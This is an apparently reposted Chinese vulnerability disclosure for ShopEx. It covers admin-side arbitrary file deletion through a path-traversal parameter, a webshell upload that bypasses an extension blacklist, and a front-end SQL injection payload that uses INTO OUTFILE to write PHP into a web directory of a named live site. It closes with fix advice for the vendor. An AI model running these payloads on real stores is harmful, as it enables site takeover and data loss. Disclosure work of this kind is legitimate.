0x1 后台任意文件删除 在模板列表删除其他模板,用burp截包
GET /shopex/shopadmin/index.php?ctl=system/template&act=remove&p[0]=testacccc&_ajax=true&_ss=goods,setting,site,tools,sale HTTP/1.1 Host: 10.1.1.100 Proxy-Connection: keep-alive X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.81 Safari/537.1 Accept: text/javascript, text/html, application/xml, text/xml, */* Referer: http://10.1.1.100/shopex/shopadmin/index.php Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: ********************* 将p[0]修改为相对于/themes的相对路径
0x2 后台拿shell
function check_file_name($file_name){ $black_list = array('asp'=>1,'jsp'=>1,'php'=>1,'php5'=>1); if(!$black_list[$file_name]){ return true; } return false; } 上传一个模板~ HdhCmsTest2cto测试数据 里面添加一个test.php.sql 貌似你们没有听这位大哥的意见:http://HdhCmsTest2cto测试数据/Article/201206/134996.html 建议不要用黑名单~ 这很容易绕过
0x3 前台拿shell 演示站抽风了~ 我拿其典型案例做演示 需要的条件: 1.普通用户的权限 2.一个可读可写可执行的目录
http://HdhCmsTestansels.cn/
发送给填入:
test' union select CHAR(60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 59, 63, 62) into outfile '/usr/local/apache/htdocs/images/default/yy520.php' #
昨天是用get提交参数,没法写文件~ 今天不同了~。~ 修复方案: 我真的不知道该说什么了~
虽然说在前台没什么好利用的,顶多只能找一些XSS和SQL inject,但是也没必要到处都是注入把~ 在一开始就把魔术引号去掉,后面单靠addslashs和quote,结果出现了一大堆注入,我都不知到怎么修补了,厂商不要看到别人报一个,你就只修补这一个 漏洞 ,类似的漏洞还有很多的啊~~积极一点嘛~~~~
我很想建议推掉重新code~ 但是好像不大可能,所以还是给点实际的建议: 在带入 数据库 查询的之前,添加一个类似80sec的sql ids的东西,虽然不能完全避免注入,起码增加了注入难度。恩~ 希望shopex 下次能够更新得更为安全,起码能给挖漏洞的人增加一点乐趣 :)
查看更多关于ShopEx前台SQL注射拿shell及修复 - 网站安全 - 自学的详细内容...